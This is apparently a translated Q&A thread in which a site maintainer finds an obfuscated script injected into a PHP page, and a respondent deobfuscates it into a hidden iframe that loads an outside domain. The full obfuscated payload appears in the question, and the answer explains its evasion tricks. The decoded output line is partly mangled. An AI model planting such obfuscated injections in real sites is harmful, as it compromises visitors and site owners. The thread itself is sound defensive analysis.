奇怪的JavaScript出现在页面中

Mic*_*e C 2 javascript

该脚本出现在我帮助的网站的index.php页面中:

<script type="text/javascript">$=~[];$={___:++$,$$$$:(![]+"")[$],__$:++$,$_$_:(![]+"")[$],_$_:++$,$_$$:({}+"")[$],$$_$:($[$]+"")[$],_$$:++$,$$$_:(!""+"")[$],$__:++$,$_$:++$,$$__:({}+"")[$],$$_:++$,$$$:++$,$___:++$,$__$:++$};$.$_=($.$_=$+"")[$.$_$]+($._$=$.$_[$.__$])+($.$$=($.$+"")[$.__$])+((!$)+"")[$._$$]+($.__=$.$_[$.$$_])+($.$=(!""+"")[$.__$])+($._=(!""+"")[$._$_])+$.$_[$.$_$]+$.__+$._$+$.$;$.$$=$.$+(!""+"")[$._$$]+$.__+$._+$.$+$.$$;$.$=($.___)[$.$_][$.$_];$.$($.$($.$$+"\""+$.$$_$+$._$+$.$$__+$._+"\"+$.__$+$.$_$+$.$_$+$.$$$_+"\"+$.__$+$.$_$+$.$$_+$.__+".\"+$.__$+$.$$_+$.$$$+"\"+$.__$+$.$$_+$._$_+"\"+$.__$+$.$_$+$.__$+$.__+$.$$$_+"('<"+$.$$_$+"\"+$.__$+$.$_$+$.__$+"\"+$.__$+$.$$_+$.$$_+"\"+$.$__+$.___+"\"+$.__$+$.$$_+$._$$+$.__+"\"+$.__$+$.$$$+$.__$+(![]+"")[$._$_]+$.$$$_+"=\\"\"+$.__$+$.$$_+$.$$_+"\"+$.__$+$.$_$+$.__$+"\"+$.__$+$.$$_+$._$$+"\"+$.__$+$.$_$+$.__$+$.$_$$+"\"+$.__$+$.$_$+$.__$+(![]+"")[$._$_]+"\"+$.__$+$.$_$+$.__$+$.__+"\"+$.__$+$.$$$+$.__$+":\"+$.$__+$.___+"\"+$.__$+$.$_$+$.___+"\"+$.__$+$.$_$+$.__$+$.$$_$+$.$$_$+$.$$$_+"\"+$.__$+$.$_$+$.$$_+";\\"><\"+$.__$+$.$_$+$.__$+$.$$$$+"\"+$.__$+$.$$_+$._$_+$.$_$_+"\"+$.__$+$.$_$+$.$_$+$.$$$_+"\"+$.$__+$.___+"\"+$.__$+$.$$_+$._$$+"\"+$.__$+$.$$_+$._$_+$.$$__+"=\\"\"+$.__$+$.$_$+$.___+$.__+$.__+"\"+$.__$+$.$$_+$.___+"://"+$.$$$$+"\"+$.__$+$.$$_+$._$_+".\"+$.__$+$.$__+$.$$$+$.$$$_+$._$+"\"+$.__$+$.$$_+$._$_+"\"+$.__$+$.$__+$.$$$+$.$$$_+"\"+$.__$+$.$_$+$._$$+$._$+"\"+$.__$+$.$_$+$.___+"\"+$.__$+$.$_$+$.$$_+$.$$_$+$.$$_$+"\"+$.__$+$.$$_+$._$$+"."+$.$$__+$._$+"\"+$.__$+$.$_$+$.$_$+"/"+$.$$_$+"\"+$.__$+$.$_$+$.__$+"\"+$.__$+$.$$_+$._$_+$.$$$_+$.$$__+$.__+".\"+$.__$+$.$$_+$.___+"\"+$.__$+$.$_$+$.___+"\"+$.__$+$.$$_+$.___+"?\"+$.__$+$.$$_+$.___+$.$_$_+"\"+$.__$+$.$__+$.$$$+$.$$$_+"="+$.$__+$._$$+$.$$$$+$.$$_$+$.$$_$+$.$__$+$.$__+$.$$__+$.__$+$.$$_+$.$$$_+$._$_+$.$$_+$.$__+$.$$$+$.$$_$+"\\"\"+$.$__+$.___+"\"+$.__$+$.$$_+$.$$$+"\"+$.__$+$.$_$+$.__$+$.$$_$+$.__+"\"+$.__$+$.$_$+$.___+"=\\""+$.$__+$.$$_+$.$___+"\\"\"+$.$__+$.___+"\"+$.__$+$.$_$+$.___+$.$$$_+"\"+$.__$+$.$_$+$.__$+"\"+$.__$+$.$__+$.$$$+"\"+$.__$+$.$_$+$.___+$.__+"=\\""+$.$$_+$.___+"\\"\"+$.$__+$.___+$.$_$_+(![]+"")[$._$_]+"\"+$.__$+$.$_$+$.__$+"\"+$.__$+$.$__+$.$$$+"\"+$.__$+$.$_$+$.$$_+"=\\""+(![]+"")[$._$_]+$.$$$_+$.$$$$+$.__+"\\">\"+$.__$+$.___+$._$$+$._$+$._+"\"+$.__$+$.$_$+$.$$_+$.__+$.$$$_+"\"+$.__$+$.$$_+$._$_+"</\"+$.__$+$.$_$+$.__$+$.$$$$+"\"+$.__$+$.$$_+$._$_+$.$_$_+"\"+$.__$+$.$_$+$.$_$+$.$$$_+"></"+$.$$_$+"\"+$.__$+$.$_$+$.__$+"\"+$.__$+$.$$_+$.$$_+">');"+"\"")())();
</script>
Run Code Online (Sandbox Code Playgroud)

它似乎唯一要做的就是尝试打开页面时返回错误。我刚刚将其删除,但一切正常,但我们不知道它是如何到达那里的,以及是否应该做可能有害的事情。该网站托管在阿鲁巴(Aruba)上,两个可以访问该代码的人最近都根本不在该页面上工作。

Phi*_*l H 5

所以现在这是一个难题。

漂亮地打印代码,它分为四个阶段:

  1. 申报$
  2. 使用$的当前值构造一个字典,然后将其再次分配给$
  3. 使用字典中的其他值在字典中设置几个其他键/值对
  4. 构造一个立即调用的嵌套函数对

就像这里的所有内容一样,$声明有点奇怪:

$=~[];
Run Code Online (Sandbox Code Playgroud)

在Chrome控制台中,返回-1;在数字上下文中求值,[]变为0,〜(在JavaScript中按位NOT运算符)在0时得出-1。因此,我们将变量分配给-1。毫不混淆!

v = -1;
Run Code Online (Sandbox Code Playgroud)

然后构造一个具有混淆性的字典:

$={ ___ : ++$,              dct={ zero  : 0,
  $$$$  : (![] + "")[$],          f     : "f",
  __$   : ++$,                    one   : 1,
  $_$_  : (![] + "")[$],          a     : "a",
  _$_   : ++$,                    two   : 2,
  $_$$  : ({} + "")[$],           b     : "b",
  $$_$  : ($[$] + "")[$],         d     : "d",
  _$$   : ++$,                    three : 3,
  $$$_  : (!"" + "")[$],          e     : "e",
  $__   : ++$,                    four  : 4,
  $_$   : ++$,                    five  : 5,
  $$__  : ({} + "")[$],           c     : "c",
  $$_   : ++$,                    six   : 6,
  $$$   : ++$,                    seven : 7,
  $___  : ++$,                    eight : 8,
  $__$  : ++$                     nine  : 9
  };                            };
Run Code Online (Sandbox Code Playgroud)

因此,我们有一个字典,其中包含一些从0到9的值,以及字母a到f。有人闻到十六进制吗?获取字母的方法是从可预测的js生成的字符串中选择子字符串。虚假的值加上“”会为“ a”,“ e”和“ f”给出“ false”。{}+""给出[object Object]b和c的,undefined得出d。

接下来,它构造字典($.$_)的$ _(我们称其为alpha)元素为一系列字符串(到目前为止定义的unobf名称,加上后_$会变成beta,$$gamma,__delta, $epsilon,_phi):

(dct.alpha = dct + "")[dct.five]    // dct.alpha = "[object Object]", yields "c"
(dct.beta  = dct.alpha[dct.one])    // dct.beta="o", yields "o"
(dct.gamma = (dct.epsilon + "")[dct.one]) // dct.gamma="n", "n"
((!dct) + "")[dct.three]            // "s"
(dct.delta = dct.alpha[dct.six])    // dct.delta="t", "t"
(dct.epsilon= (!"" + "")[dct.one])  // dct.epsilon="r", "r"
(dct.phi   = (!"" + "")[dct.two])   // dct.phi = "u", "u"
dct.alpha[dct.5]                    // "c"
dct.delta                           // "t"
dct.beta                            // "o"
dct.epsilon                         // "r"
Run Code Online (Sandbox Code Playgroud)

因此,所有这些都将dct.alpha($.$_)设置为“构造函数”。不祥的。的类似设置$.$$(我们称为gamma),将其设置为“返回”。云层变厚。

这次$.$(我们的dct.epsilon)的另一项重新分配将其设置为

dct.epsilon = (dct.zero)[dct.alpha][dct.alpha]
Run Code Online (Sandbox Code Playgroud)

这不仅仅是数组查找。dct.zero是0,所以(0)[“ constructor”]查找的值为0的“ constructor”属性。请记住,在javascript中,a [“ b”]与ab相同,所以(0)["constructor"]["constructor"]也是0.constructor.constructor。0的构造函数是Number函数,而Number函数的构造函数是Function函数。然后将此功能(指针)分配给dct.epsilon。蠕虫变了。

最后一条语句是对以下内容的嵌套函数调用$.$$

dct.epsilon(                  Function(
  dct.epsilon(                  Function(
    //long concatenation            // something functiony
  )()                           )()
)();                          )()
Run Code Online (Sandbox Code Playgroud)

长级串联将传递给函数构造函数,然后立即执行。该函数返回的函数也将立即执行。

实际上,到目前为止,我们所看到的一切都是脚手架。尽管我们对将要使用的字母有所了解,但几乎任何功能都可以通过这种方式构造。我可能会猜测,以上内容是一种通用的混淆,可以容纳所需的任何有效负载。

按字符构造的字符串是:

return "docu\155e\156t.\167\162\151te('<d \151 ... // continues
Run Code Online (Sandbox Code Playgroud)

因此,我们可以看到那里有转义的序列。实际上,该返回值告诉我们整个文档字符串将不进行转义,然后重新批发,以供外部调用对其进行调用。

因此,外部调用将接收到此现在未转义的字符串(格式化和拆分字符串以提高可读性):

document.write(``+''+'Counter'+``+'');

我在此处放置“ HEXYHEXY”而不是此处的十六进制字符串的地方–它会预先将您的网站或病毒作者链接到此页面,而这并不是我们真正想要的。iframe src中的域可能已连接到病毒作者,或者可能只是另一个受感染的页面;蠕虫大概可以使用一个主机通过此病毒作为中介来引导另一个主机。我的猜测是,它只会带来虚假的页面展示-每当您的页面被点击时,目标页面也会被访问,但是由于隐藏了div容器,没有人看到广告等。“ Counter”(计数器)位只是试图将秘密隐藏在众目;之下;如果您查看了该页面的浏览器表示,那么您所看到的只是一个看起来很单纯的Counter iframe。

一些避免的JavaScript技巧

病毒作者在这里有一些技巧来逃避查找此类脚本的简单方法:

  1. 使用ASCII转义,例如\155变成'm',因此该字母永远不在纯字符串中。
  2. 将字符串传递给Function函数以构造任意函数,而不是使用 eval
  3. 使用可预测的自动生成的字符串的子字符串(![]+"")[3] = "false"[3] = "s"来挑选单个字符,而不用将它们放入普通字符串中
  4. 无休止地使用和重复使用带有$_名称的变量,以使人类读者感到困惑
  5. 在字典声明中使用变量使不执行代码就很难看到静态值。
  6. 作业返回;(a=b)返回a的值,因此(a=b)[3]返回赋值的子字符串,同时进行赋值
  7. 较大型分配中的变量的一次性分配 a = {(a=3):"b",++a:"c"}

所有这些都是普通代码中非常糟糕的主意,因为它们在这里的原因非常严重:它们使代码难以阅读或理解。